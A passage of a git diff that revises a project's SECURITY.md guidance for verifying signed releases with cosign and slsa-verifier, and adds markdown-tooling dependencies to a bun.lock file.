above. Exit codes mirror `genie sec verify-install` (Group 2 of `genie-supply-chain-signing`). +The canonical verification entry point is `scripts/verify-release.sh`, which wraps `cosign verify-blob` + `slsa-verifier` using the pinned identity above. ```bash # End-to-end: downloads release assets from GitHub, verifies cosign signature # + SLSA provenance against the pinned identity. -scripts/verify-release.sh v4.260422.4 +scripts/verify-release.sh v5.260715.1 -# If you already downloaded the tarball + .sig + .cert + provenance.intoto.jsonl: -scripts/verify-release.sh --local /path/to/automagik-genie-4.260422.4.tgz +# If you already downloaded one tarball and its adjacent .bundle and +# .intoto.jsonl sidecars: +scripts/verify-release.sh --local /path/to/genie-5.260715.1-darwin-arm64.tar.gz ``` If you cannot run the wrapper — for example, a locked-down incident-response host — the underlying cosign invocation is the ground truth: @@ -176,31 +149,25 @@ If you cannot run the wrapper — for example, a locked-down incident-response h # Paste the three pinned lines above into your check; never accept a # value from any other source. cosign verify-blob \ - --certificate-identity-regexp "^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@" \ + --certificate-identity-regexp "^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ - --signature automagik-genie-4.260422.4.tgz.sig \ - --certificate automagik-genie-4.260422.4.tgz.cert \ - automagik-genie-4.260422.4.tgz + --bundle genie-5.260715.1-darwin-arm64.tar.gz.bundle \ + genie-5.260715.1-darwin-arm64.tar.gz # SLSA provenance verification. -slsa-verifier verify-artifact automagik-genie-4.260422.4.tgz \ - --provenance-path provenance.intoto.jsonl \ +slsa-verifier verify-artifact genie-5.260715.1-darwin-arm64.tar.gz \ + --provenance-path genie-5.260715.1-darwin-arm64.tar.gz.intoto.jsonl \ --source-uri github.com/automagik-dev/genie ``` -On a host that already has `@automagik/genie` installed from a release channel, the shortest check is: - -```bash -genie sec verify-install -``` - Exit codes: - `0` — verified: signature + provenance both pass against the pinned identity - `2` — cosign signature verification failed -- `3` — signer identity does not match the pinned regex - `4` — SLSA provenance verification failed -- `5` — signature material missing (no `.sig` / `.cert` / provenance found) +- `5` — `.bundle` or `.intoto.jsonl` verification material is missing +- `64` — invalid arguments +- `127` — a required verifier is unavailable ### Cross-check the three channels match @@ -211,7 +178,7 @@ Before trusting a release during incident response, confirm the pin has not drif scripts/check-fingerprint-pinning.sh ``` -The script greps each of the four in-repo witnesses (`SECURITY.md`, `.well-known/security.txt`, `.github/ISSUE_TEMPLATE/signing-key-fingerprint.md`, `.github/cosign.pub`) for the three canonical lines above and exits non-zero if any witness is missing a line or carries a divergent value. The same script runs as a GitHub Actions gate (`.github/workflows/signing-identity-pin.yml`) on every PR that touches any of the pinning channels. +The script greps each of the six required in-repo witnesses (`SECURITY.md`, `.well-known/security.txt`, `.github/ISSUE_TEMPLATE/signing-key-fingerprint.md`, `.github/cosign.pub`, `scripts/verify-release.sh`, and `install.sh`) for the three canonical lines above and exits non-zero if any witness is missing a line or carries a divergent value. The same script runs as a GitHub Actions gate (`.github/workflows/signing-identity-pin.yml`) on every PR that touches any of the pinning channels. One-liner for operators without the repo cloned (checks the in-repo canonical + the project-site copy): @@ -227,19 +194,18 @@ diff <(curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/SEC ### If the pin has drifted -1. **Do not run `genie sec remediate --apply`** on any host — you cannot distinguish a legitimate rotation from a compromise until the out-of-band channel is reconciled. -2. Check the pinned GitHub issue: a legitimate rotation lands a new `SIGNING_CERT_IDENTITY_` issue co-authored by two Namastex security officers (verified GPG signatures). The rotation procedure lives in [`docs/security/key-rotation.md`](./docs/security/key-rotation.mdx). +1. **Do not install or execute the suspect release** — you cannot distinguish a legitimate rotation from a compromise until the out-of-band channel is reconciled. +2. Check the pinned `SIGNING_CERT_IDENTITY_` GitHub issue for an independently published replacement identity. 3. Email `privacidade@namastex.ai` with the diverging channel, the observed value, and the expected value. Response SLA is two business hours (see [Reporting a Vulnerability](#reporting-a-vulnerability)). -4. While triage is in flight, operators who must mutate a compromised host use the `--unsafe-unverified ` escape hatch documented in [`docs/incident-response/canisterworm.md`](./docs/incident-response/canisterworm.mdx). Every invocation lands in the audit log. +4. Preserve the suspect artifacts and affected-host evidence while triage is in flight. There is no supported verification bypass. --- ## Hardening Recommendations for Consumers -- Pin explicit versions, not `latest`: `"@automagik/genie": "4.260422.4"`. -- Use `npm ci` in CI. It enforces lockfile-based installs by default. -- Evaluate `--ignore-scripts` per-package for untrusted dependencies. Note: `@automagik/genie` relies on a `postinstall` step to download the bundled `tmux` binary; if you disable scripts, run `node scripts/postinstall-tmux.js` manually after install. -- Verify package provenance: `npm view @automagik/genie --json | jq '.dist.attestations'`. +- Install only through the repository installer and authoritative stable manifest; npm distribution is retired. +- Verify a downloaded tarball with `scripts/verify-release.sh` before manual execution. +- Preserve the adjacent `.bundle` and `.intoto.jsonl` sidecars with any archived tarball. - Monitor advisories: subscribe to GitHub security alerts for this repository. --- diff --git a/bun.lock b/bun.lock index 29ba9ef07..11efb9533 100644 --- a/bun.lock +++ b/bun.lock @@ -19,6 +19,8 @@ "esbuild": "^0.27.3", "husky": "^9.1.7", "knip": "^5.86.0", + "markdown-link-check": "3.14.2", + "markdownlint-cli2": "0.23.0", "typescript": "^5.8.0", }, }, @@ -181,6 +183,14 @@ "@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="], + "@oozcitak/dom": ["@oozcitak/dom@2.0.2", "", { "dependencies": { "@oozcitak/infra": "^2.0.2", "@oozcitak/url": "^3.0.0", "@oozcitak/util": "^10.0.0" } }, "sha512-GjpKhkSYC3Mj4+lfwEyI1dqnsKTgwGy48ytZEhm4A/xnH/8z9M3ZVXKr/YGQi3uCLs1AEBS+x5T2JPiueEDW8w=="], + + "@oozcitak/infra": ["@oozcitak/infra@2.0.2", "", { "dependencies": { "@oozcitak/util": "^10.0.0" } }, "sha512-2g+E7hoE2dgCz/APPOEK5s3rMhJvNxSMBrP+U+j1OWsIbtSpWxxlUjq1lU8RIsFJNYv7NMlnVsCuHcUzJW+8vA=="], + + "@oozcitak/url": ["@oozcitak/url@3.0.0", "", { "dependencies": { "@oozcitak/infra": "^2.0.2", "@oozcitak/util": "^10.0.0" } }, "sha512-ZKfET8Ak1wsLAiLWNfFkZc/BraDccuTJKR6svTYc7sVjbR+Iu0vtXdiDMY4o6jaFl5TW2TlS7jbLl4VovtAJWQ=="], + + "@oozcitak/util": ["@oozcitak/util@10.0.0", "", {}, "sha512-hAX0pT/73190NLqBPPWSdBVGtbY6VOhWYK3qqHqtXQ1gK7kS2yz4+ivsN07hpJ6I3aeMtKP6J6npsEKOAzuTLA=="], + "@oxc-resolver/binding-android-arm-eabi": ["@oxc-resolver/binding-android-arm-eabi@11.19.1", "", { "os": "android", "cpu": "arm" }, "sha512-aUs47y+xyXHUKlbhqHUjBABjvycq6YSD7bpxSW7vplUmdzAlJ93yXY6ZR0c1o1x5A/QKbENCvs3+NlY8IpIVzg=="], "@oxc-resolver/binding-android-arm64": ["@oxc-resolver/binding-android-arm64@11.19.1", "", { "os": "android", "cpu": "arm64" }, "sha512-oolbkRX+m7Pq2LNjr/kKgYeC7bRDMVTWPgxBGMjSpZi/+UskVo4jsMU3MLheZV55jL6c3rNelPl4oD60ggYmqA=="], @@ -223,12 +233,26 @@ "@simple-libs/stream-utils": ["@simple-libs/stream-utils@1.2.0", "", {}, "sha512-KxXvfapcixpz6rVEB6HPjOUZT22yN6v0vI0urQSk1L8MlEWPDFCZkhw2xmkyoTGYeFw7tWTZd7e3lVzRZRN/EA=="], + "@sindresorhus/merge-streams": ["@sindresorhus/merge-streams@4.0.0", "", {}, "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ=="], + + "@tootallnate/quickjs-emscripten": ["@tootallnate/quickjs-emscripten@0.23.0", "", {}, "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA=="], + "@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], "@types/bun": ["@types/bun@1.3.10", "", { "dependencies": { "bun-types": "1.3.10" } }, "sha512-0+rlrUrOrTSskibryHbvQkDOWRJwJZqZlxrUs1u4oOoTln8+WIXBPmAuCF35SWB2z4Zl3E84Nl/D0P7803nigQ=="], + "@types/debug": ["@types/debug@4.1.13", "", { "dependencies": { "@types/ms": "*" } }, "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw=="], + + "@types/katex": ["@types/katex@0.16.8", "", {}, "sha512-trgaNyfU+Xh2Tc+ABIb44a5AYUpicB3uwirOioeOkNPPbmgRNtcWyDeeFRzjPZENO9Vq8gvVqfhaaXWLlevVwg=="], + + "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], + "@types/node": ["@types/node@22.19.15", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-F0R/h2+dsy5wJAUe3tAU6oqa2qbWY5TpNfL/RGmo1y38hiyO1w3x2jPtt76wmuaJI4DQnOBu21cNXQ2STIUUWg=="], + "@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], + + "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], + "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], "ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], @@ -239,14 +263,34 @@ "array-ify": ["array-ify@1.0.0", "", {}, "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng=="], + "ast-types": ["ast-types@0.13.4", "", { "dependencies": { "tslib": "^2.0.1" } }, "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w=="], + + "async": ["async@3.2.6", "", {}, "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA=="], + + "basic-ftp": ["basic-ftp@5.3.1", "", {}, "sha512-bopVNp6ugyA150DDuZfPFdt1KZ5a94ZDiwX4hMgZDzF+GttD80lEy8kj98kbyhLXnPvhtIo93mdnLIjpCAeeOw=="], + + "boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="], + "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], "bun-types": ["bun-types@1.3.10", "", { "dependencies": { "@types/node": "*" } }, "sha512-tcpfCCl6XWo6nCVnpcVrxQ+9AYN1iqMIzgrSKYMB/fjLtV2eyAVEg7AxQJuCq/26R6HpKWykQXuSOq/21RYcbg=="], "callsites": ["callsites@3.1.0", "", {}, "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="], + "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + + "character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="], + + "character-entities-legacy": ["character-entities-legacy@3.0.0", "", {}, "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ=="], + + "character-reference-invalid": ["character-reference-invalid@2.0.1", "", {}, "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw=="], + "chardet": ["chardet@2.1.1", "", {}, "sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ=="], + "cheerio": ["cheerio@1.2.0", "", { "dependencies": { "cheerio-select": "^2.1.0", "dom-serializer": "^2.0.0", "domhandler": "^5.0.3", "domutils": "^3.2.2", "encoding-sniffer": "^0.2.1", "htmlparser2": "^10.1.0", "parse5": "^7.3.0", "parse5-htmlparser2-tree-adapter": "^7.1.0", "parse5-parser-stream": "^7.1.2", "undici": "^7.19.0", "whatwg-mimetype": "^4.0.0" } }, "sha512-WDrybc/gKFpTYQutKIK6UvfcuxijIZfMfXaYm8NMsPQxSYvf+13fXUJ4rztGGbJcBQ/GF55gvrZ0Bc0bj/mqvg=="], + + "cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="], + "cli-width": ["cli-width@4.1.0", "", {}, "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ=="], "cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="], @@ -269,12 +313,40 @@ "cosmiconfig-typescript-loader": ["cosmiconfig-typescript-loader@6.2.0", "", { "dependencies": { "jiti": "^2.6.1" }, "peerDependencies": { "@types/node": "*", "cosmiconfig": ">=9", "typescript": ">=5" } }, "sha512-GEN39v7TgdxgIoNcdkRE3uiAzQt3UXLyHbRHD6YoL048XAeOomyxaP+Hh/+2C6C2wYjxJ2onhJcsQp+L4YEkVQ=="], + "css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="], + + "css-what": ["css-what@6.2.2", "", {}, "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA=="], + "dargs": ["dargs@8.1.0", "", {}, "sha512-wAV9QHOsNbwnWdNW2FYvE1P56wtgSbM+3SZcdGiWQILwVjACCXDCI3Ai8QlCjMDB8YK5zySiXZYBiwGmNY3lnw=="], + "data-uri-to-buffer": ["data-uri-to-buffer@6.0.2", "", {}, "sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw=="], + + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], + + "decode-named-character-reference": ["decode-named-character-reference@1.3.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q=="], + + "degenerator": ["degenerator@5.0.1", "", { "dependencies": { "ast-types": "^0.13.4", "escodegen": "^2.1.0", "esprima": "^4.0.1" } }, "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ=="], + + "dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="], + + "devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="], + + "dom-serializer": ["dom-serializer@2.0.0", "", { "dependencies": { "domelementtype": "^2.3.0", "domhandler": "^5.0.2", "entities": "^4.2.0" } }, "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg=="], + + "domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="], + + "domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="], + + "domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="], + "dot-prop": ["dot-prop@5.3.0", "", { "dependencies": { "is-obj": "^2.0.0" } }, "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q=="], "emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + "encoding-sniffer": ["encoding-sniffer@0.2.1", "", { "dependencies": { "iconv-lite": "^0.6.3", "whatwg-encoding": "^3.1.1" } }, "sha512-5gvq20T6vfpekVtqrYQsSCFZ1wEg5+wW0/QaZMWkFr6BqD3NfKs0rLCx4rrVlSWJeZb5NBJgVLswK/w2MWU+Gw=="], + + "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="], + "env-paths": ["env-paths@2.2.1", "", {}, "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A=="], "error-ex": ["error-ex@1.3.4", "", { "dependencies": { "is-arrayish": "^0.2.1" } }, "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ=="], @@ -283,6 +355,14 @@ "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "esgenerate": "bin/esgenerate.js", "escodegen": "bin/escodegen.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="], + + "esprima": ["esprima@4.0.1", "", { "bin": { "esparse": "./bin/esparse.js", "esvalidate": "./bin/esvalidate.js" } }, "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="], + + "estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="], + + "esutils": ["esutils@2.0.3", "", {}, "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="], + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], "fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="], @@ -299,15 +379,31 @@ "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], + "get-east-asian-width": ["get-east-asian-width@1.6.0", "", {}, "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA=="], + + "get-uri": ["get-uri@6.0.5", "", { "dependencies": { "basic-ftp": "^5.0.2", "data-uri-to-buffer": "^6.0.2", "debug": "^4.3.4" } }, "sha512-b1O07XYq8eRuVzBNgJLstU6FYc1tS6wnMtF1I1D9lE8LxZSOGZ7LhxN54yPP6mGw5f2CkXY2BQUL9Fx41qvcIg=="], + "git-raw-commits": ["git-raw-commits@4.0.0", "", { "dependencies": { "dargs": "^8.0.0", "meow": "^12.0.1", "split2": "^4.0.0" }, "bin": { "git-raw-commits": "cli.mjs" } }, "sha512-ICsMM1Wk8xSGMowkOmPrzo2Fgmfo4bMHLNX6ytHjajRJUqvHOw/TFapQ+QG75c3X/tTDDhOSRPGC52dDbNM8FQ=="], "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], "global-directory": ["global-directory@4.0.1", "", { "dependencies": { "ini": "4.1.1" } }, "sha512-wHTUcDUoZ1H5/0iVqEudYW4/kAlN5cZ3j/bXn0Dpbizl9iaUVeWSHqiOjsgk6OW2bkLclbBjzewBz6weQ1zA2Q=="], + "globby": ["globby@16.2.0", "", { "dependencies": { "@sindresorhus/merge-streams": "^4.0.0", "fast-glob": "^3.3.3", "ignore": "^7.0.5", "is-path-inside": "^4.0.0", "slash": "^5.1.0", "unicorn-magic": "^0.4.0" } }, "sha512-QrJia2qDf5BB/V6HYlDTs0I0lBahyjLzpGQg3KT7FnCdTonAyPy2RtY802m2k4ALx6Dp752f82WsOczEVr3l6Q=="], + + "html-link-extractor": ["html-link-extractor@1.0.5", "", { "dependencies": { "cheerio": "^1.0.0-rc.10" } }, "sha512-ADd49pudM157uWHwHQPUSX4ssMsvR/yHIswOR5CUfBdK9g9ZYGMhVSE6KZVHJ6kCkR0gH4htsfzU6zECDNVwyw=="], + + "htmlparser2": ["htmlparser2@10.1.0", "", { "dependencies": { "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.2.2", "entities": "^7.0.1" } }, "sha512-VTZkM9GWRAtEpveh7MSF6SjjrpNVNNVJfFup7xTY3UpFtm67foy9HDVXneLtFVt4pMz5kZtgNcvCniNFb1hlEQ=="], + + "http-proxy-agent": ["http-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.1.0", "debug": "^4.3.4" } }, "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig=="], + + "https-proxy-agent": ["https-proxy-agent@7.0.6", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "4" } }, "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw=="], + "husky": ["husky@9.1.7", "", { "bin": { "husky": "bin.js" } }, "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA=="], - "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + "iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], + + "ignore": ["ignore@7.0.6", "", {}, "sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw=="], "import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="], @@ -315,34 +411,60 @@ "ini": ["ini@4.1.1", "", {}, "sha512-QQnnxNyfvmHFIsj7gkPcYymR8Jdw/o7mp5ZFihxn6h8Ci6fh3Dx4E1gPjpQEpIuPo9XVNY/ZUwh4BPMjGyL01g=="], + "ip-address": ["ip-address@10.2.0", "", {}, "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA=="], + + "is-absolute-url": ["is-absolute-url@4.0.1", "", {}, "sha512-/51/TKE88Lmm7Gc4/8btclNXWS+g50wXhYJq8HWIBAGUBnoAdRu1aXeh364t/O7wXDAcTJDP8PNuNKWUDWie+A=="], + + "is-alphabetical": ["is-alphabetical@2.0.1", "", {}, "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ=="], + + "is-alphanumerical": ["is-alphanumerical@2.0.1", "", { "dependencies": { "is-alphabetical": "^2.0.0", "is-decimal": "^2.0.0" } }, "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw=="], + "is-arrayish": ["is-arrayish@0.2.1", "", {}, 